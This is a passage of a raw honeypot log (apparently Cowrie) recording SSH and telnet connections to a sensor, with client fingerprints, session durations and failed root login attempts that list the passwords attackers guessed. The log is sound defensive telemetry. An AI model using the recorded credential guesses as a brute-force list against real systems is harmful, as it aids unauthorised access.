-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:42:11.041876Z","src_ip":"147.45.199.80","session":"2077cda9df0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:42:11.329782Z","src_ip":"147.45.199.80","session":"2077cda9df0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:42:12.428846Z","src_ip":"147.45.199.80","session":"2077cda9df0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.57466673851013,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:42:23.818367Z","src_ip":"135.148.14.151","session":"39d520783741","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.729740381240845,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:42:24.160004Z","src_ip":"135.148.14.151","session":"b653f52726af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60044,"dst_ip":"159.203.135.109","dst_port":23,"session":"18eaf83f5caa","protocol":"telnet","message":"New connection: 135.148.14.151:60044 (159.203.135.109:23) [session: 18eaf83f5caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:42:56.052278Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34522,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac47dc8ef7ce","protocol":"telnet","message":"New connection: 135.148.14.151:34522 (159.203.135.109:23) [session: ac47dc8ef7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:43:02.053641Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":52174,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8dbe061520a","protocol":"telnet","message":"New connection: 180.235.129.180:52174 (10.17.0.5:23) [session: d8dbe061520a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:43:08.419903Z"}
{"eventid":"cowrie.session.closed","duration":14.53808856010437,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:43:22.957891Z","src_ip":"180.235.129.180","session":"d8dbe061520a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.52034091949463,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:43:32.572458Z","src_ip":"135.148.14.151","session":"18eaf83f5caa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.03221035003662,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:43:36.085714Z","src_ip":"135.148.14.151","session":"ac47dc8ef7ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":47808,"dst_ip":"159.203.135.109","dst_port":22,"session":"107a6bcfe7f7","protocol":"ssh","message":"New connection: 62.133.62.83:47808 (159.203.135.109:22) [session: 107a6bcfe7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:07.299012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:07.305449Z","src_ip":"62.133.62.83","session":"107a6bcfe7f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:07.393146Z","src_ip":"62.133.62.83","session":"107a6bcfe7f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tbilisi","message":"login attempt [root/tbilisi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:07.638647Z","src_ip":"62.133.62.83","session":"107a6bcfe7f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:08.724519Z","src_ip":"62.133.62.83","session":"107a6bcfe7f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":56214,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dec63c88e80","protocol":"ssh","message":"New connection: 94.159.98.239:56214 (10.17.0.5:22) [session: 4dec63c88e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:10.533606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:10.640703Z","src_ip":"94.159.98.239","session":"4dec63c88e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:10.729338Z","src_ip":"94.159.98.239","session":"4dec63c88e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mark","message":"login attempt [root/mark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:11.346906Z","src_ip":"94.159.98.239","session":"4dec63c88e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:12.488397Z","src_ip":"94.159.98.239","session":"4dec63c88e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":34180,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6b1d5b3828b","protocol":"telnet","message":"New connection: 79.139.59.21:34180 (159.203.135.109:23) [session: a6b1d5b3828b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:15.987198Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":37062,"dst_ip":"159.203.135.109","dst_port":22,"session":"c45b0b43c594","protocol":"ssh","message":"New connection: 103.27.238.114:37062 (159.203.135.109:22) [session: c45b0b43c594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:33.829680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:33.836710Z","src_ip":"103.27.238.114","session":"c45b0b43c594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:34.107076Z","src_ip":"103.27.238.114","session":"c45b0b43c594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130990","message":"login attempt [root/130990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:34.917580Z","src_ip":"103.27.238.114","session":"c45b0b43c594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:36.192586Z","src_ip":"103.27.238.114","session":"c45b0b43c594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":56924,"dst_ip":"159.203.135.109","dst_port":22,"session":"a162a4093cbb","protocol":"ssh","message":"New connection: 103.15.222.183:56924 (159.203.135.109:22) [session: a162a4093cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:36.923717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:36.928229Z","src_ip":"103.15.222.183","session":"a162a4093cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:37.178208Z","src_ip":"103.15.222.183","session":"a162a4093cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cthlwt","message":"login attempt [root/cthlwt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:37.929447Z","src_ip":"103.15.222.183","session":"a162a4093cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:39.182471Z","src_ip":"103.15.222.183","session":"a162a4093cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":34890,"dst_ip":"159.203.135.109","dst_port":22,"session":"54ce96627914","protocol":"ssh","message":"New connection: 103.149.28.157:34890 (159.203.135.109:22) [session: 54ce96627914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:41.295022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:41.302997Z","src_ip":"103.149.28.157","session":"54ce96627914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:41.554429Z","src_ip":"103.149.28.157","session":"54ce96627914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magnat","message":"login attempt [root/magnat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:42.311091Z","src_ip":"103.149.28.157","session":"54ce96627914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:43.565626Z","src_ip":"103.149.28.157","session":"54ce96627914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55214,"dst_ip":"159.203.135.109","dst_port":23,"session":"df49c4b3c04e","protocol":"telnet","message":"New connection: 135.148.14.151:55214 (159.203.135.109:23) [session: df49c4b3c04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:49.640087Z"}
{"eventid":"cowrie.session.closed","duration":42.47942233085632,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:45:58.466489Z","src_ip":"79.139.59.21","session":"a6b1d5b3828b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":48918,"dst_ip":"10.17.0.5","dst_port":22,"session":"00d5599dbefa","protocol":"ssh","message":"New connection: 103.172.78.219:48918 (10.17.0.5:22) [session: 00d5599dbefa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:46:16.899597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:46:16.911686Z","src_ip":"103.172.78.219","session":"00d5599dbefa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:46:17.178699Z","src_ip":"103.172.78.219","session":"00d5599dbefa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trooper","message":"login attempt [root/trooper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:46:17.984818Z","src_ip":"103.172.78.219","session":"00d5599dbefa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:46:19.252054Z","src_ip":"103.172.78.219","session":"00d5599dbefa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.39866495132446,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:46:26.038560Z","src_ip":"135.148.14.151","session":"df49c4b3c04e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37386,"dst_ip":"159.203.135.109","dst_port":23,"session":"18e51db9896e","protocol":"telnet","message":"New connection: 135.148.14.151:37386 (159.203.135.109:23) [session: 18e51db9896e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:19.626388Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.94.94.32","src_port":54370,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad17c2836188","protocol":"ssh","message":"New connection: 141.94.94.32:54370 (10.17.0.5:22) [session: ad17c2836188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:37.594514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:47:37.600040Z","src_ip":"141.94.94.32","session":"ad17c2836188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01